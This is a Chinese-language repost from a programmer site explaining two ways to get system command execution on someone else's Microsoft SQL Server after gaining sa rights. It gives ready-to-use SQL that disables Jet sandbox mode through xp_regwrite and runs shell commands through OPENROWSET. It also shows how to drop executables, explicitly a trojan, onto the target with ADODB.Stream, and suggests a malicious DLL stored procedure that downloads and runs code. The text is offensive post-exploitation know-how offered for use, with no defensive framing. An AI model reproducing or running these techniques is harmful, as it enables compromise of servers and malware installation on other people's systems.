欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

MSSQL中两种特别的执行命令的方法

程序员文章站 2022-08-28 19:00:52
现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能CMD被改了权限,所以我推荐的办法是有能力的同学自己开发DLL,然后把DLL写入到对方计算机中,再注册为存储... 11-03-28...
以下方法都以需要sa权限为前提。
1, 沙盒模式的变通.

原始方法:
第一句开启沙盘模式:exec master..xp_regwrite ’hkey_local_machine’,’software\microsoft\jet\4.0\engines’,’sandboxmode’,’reg_dword’,1
复制代码第二句利用jet.oledb执行系统命令:select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=ias\dnary.mdb’,’select shell("cmd命令")’)
复制代码或select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=ias\ias.mdb’,’select shell("cmd命令")’)
复制代码但是,当 x:\windows\system32\ias\dnary.mdb 或 x:\windows\system32\ias\ias.mdb 被删除时,命令就会无效了.
所以利用以下语句创建一个数据库:(数据库名syssetup.xml,后缀.xml是自定义,不影响使用.)

复制代码
代码如下:

declare @hr int
declare @object int;declare @property int
exec @hr = sp_oacreate ’adox.catalog’,@object output
exec @hr = sp_oamethod @object,’create’,@property output,’provider=microsoft.jet.oledb.4.0;data source=syssetup.xml’

然后再利用jet.oledb调用syssetup.xml执行系统命令:select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=syssetup.xml’,’select shell("cmd命令")’)


2, 直接写入文件到对方计算机,此处的文件可以是exe, dll,等.(注,此方法不支持文件大于64kb)
当已经有一个程序需要放到对方计算机的时候.(例如, 放ma。)
将这个文件转成hex代码。
如果不知道怎么把文件转成hex代码,请使用下面的工具.
file2hex.rar (424 bytes)

使用方法很简单, 解压出来之后, 把要转的文件拖到脚本上去, 就会生成包含hex代码的文本.
然后用以下方法写入到对方计算机中。

复制代码
代码如下:

declare @objecttoken int
exec sp_oacreate ’adodb.stream’, @objecttoken output
exec sp_oasetproperty @objecttoken, ’type’, 1
exec sp_oamethod @objecttoken, ’open’
exec sp_oamethod @objecttoken, ’write’, null, 0x123456(其中0x123456为hex内容)
exec sp_oamethod @objecttoken, ’savetofile’, null, ’test.exe(文件名)’, 2
exec sp_oamethod @objecttoken, ’close’
exec sp_oadestroy @objecttoken


写入之后, 就发挥你的办法去执行你写入的这个文件就ok了。

集思广益:
现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能cmd被改了权限..
所以我推荐的办法是有能力的同学自己开发dll,然后把dll写入到对方计算机中,再注册为存储过程.
至于存储过程的功能. 可以是下载程序并执行, 可以是直接执行命令. 当然这个看你自己了.